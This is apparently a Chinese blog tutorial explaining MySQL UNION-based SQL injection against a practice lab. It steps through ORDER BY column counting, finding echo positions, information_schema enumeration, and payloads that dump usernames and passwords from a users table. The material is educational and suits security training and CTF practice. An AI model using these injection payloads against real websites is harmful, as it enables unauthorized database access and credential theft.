sql聯合注入原理

高人于斯發表於2024-05-28

聯合注入

原理

檢視原始碼:

QQ截圖20240527152219

可以看到這裡沒有對傳入的id做任何過濾直接就拼接進了查詢語句,試試傳入?id=1',發現報錯:

image-20240527154030509

為什麼會報錯,拼接後的語句:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

可以看到報錯是把錯誤的地方用單引號引用了

所以就算不知道後端程式碼,也能透過報錯判斷出傳參的包裹方式,利於我們後面的構造。

那麼我們傳入:

?id=1'%23 
拼接語句
SELECT * FROM users WHERE id='1'#' LIMIT 0,1

發現不會報錯了,接下來進行注入。

基礎內容

  • 一個可利用的資料庫:information_schema
  • information_schema庫的一些可利用的表

QQ截圖20240527205403

其中比較重要的三個表:

SCHEMATA表

schemata表儲存該使用者建立的所有資料庫的庫名。要記住該表中記錄資料庫庫名的欄位名為SCHEMA_NAME

TABLES表

TABLES表儲存該使用者建立的所有資料庫的庫名和表名
table_name儲存這個資料庫對應資料庫名的裡面的表的值
table_schema是儲存了這個資料庫所有資料庫名的欄位

COLUMNS表

COLUMNS表儲存該使用者建立的所有資料庫的庫名、表名和欄位名
table_schema存的是資料庫裡面所有的資料庫名
table_name對應資料庫名的表名
column_name儲存的是對應表名的欄位名

至於一些mysql函式利用,參考:https://blog.csdn.net/Waffle666/article/details/111410039

實操

一、判斷列數

先利用order by判斷列數(原理:order by 的作用是對前面查詢的資料屬性進行分組,比如說前面查詢的資料是甲、乙、丙,我們可以根據這三種屬性的一到三種進行分類,但如果只有3種屬性,而order by 4對四種屬性進行分組就會報錯)

QQ截圖20240527212226

1'order by 4-- a

那麼說明這裡有三種屬性也就是三個段名。

為什麼要知道有多少列:

QQ截圖20240527211308

可以看到union的每個查詢必須包含相同的列。其實也可以直接利用union select在判斷回顯的時候進行判斷列數。只是order by在判斷大數目時更方便。

二、判斷回顯位

接下來判斷回顯位,利用union select(原理:看到下面傳的參的第一個select是-1,因為union會把查詢結果組合在一起。但由於這裡原始碼是limit 0,1所以還是隻會顯示一個結果,所以把前面id設為-1,查詢為空就會顯示我們的數字,這樣可以判斷顯示位)

QQ截圖20240527214353

查詢結果:

QQ截圖20240527214526

?id=-1'union select 1,2,3-- a

三、檢視基本資訊

在回顯位檢視基本資訊(其實只有看資料庫就行了)

一些常用函式:

user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os

QQ截圖20240527215241

?id=-1'union select 1,database(),@@version-- a

四、資料查詢

查庫名:

QQ截圖20240527222126

?id=-1'union select 1,2,schema_name from information_schema.schemata-- a

這句話就是在information_schema資料庫中的schemata表中查詢schema_name段的值(也就是所有資料庫名稱,上面也有講這個表)

但由於limit限制所以只能顯示一個值。可以加個group_concat(),其可以拼接列資料(concat是針對行資料進行拼接,concat_ws和concat區別不大隻是可以指定分隔符)

QQ截圖20240528143823

-1'union select 1,2,group_concat(schema_name) from information_schema.schemata-- a

其實這裡資料庫查不查無所謂,只是一般ctf中在當前資料庫沒找到flag時可以考慮其他資料庫。

後面的注入就大同小異了。

查表名:

QQ截圖20240528144737

-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- a

簡單分析一下,就是查詢information_schema資料庫tables表中的table_name欄位的值(這個段的值也就是資料庫對應的資料庫名的裡面的表的值)在裡欄位table_schema來指定資料庫。

查段名:

QQ截圖20240528145506

-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- a

和上面原理沒有區別,查詢指定資料庫的指定表的段名。

查資料:

現在知道了資料庫security下users表的所有段名,那麼接下來就是查取users表下的全部資料:

QQ截圖20240528150626

-1'union select 1,group_concat(id,',',username),group_concat(password) from security.users-- a

因為當前預設資料庫就是security,所以也可寫成:

-1'union select 1,group_concat(id,',',username),group_concat(password) from users-- a

相關文章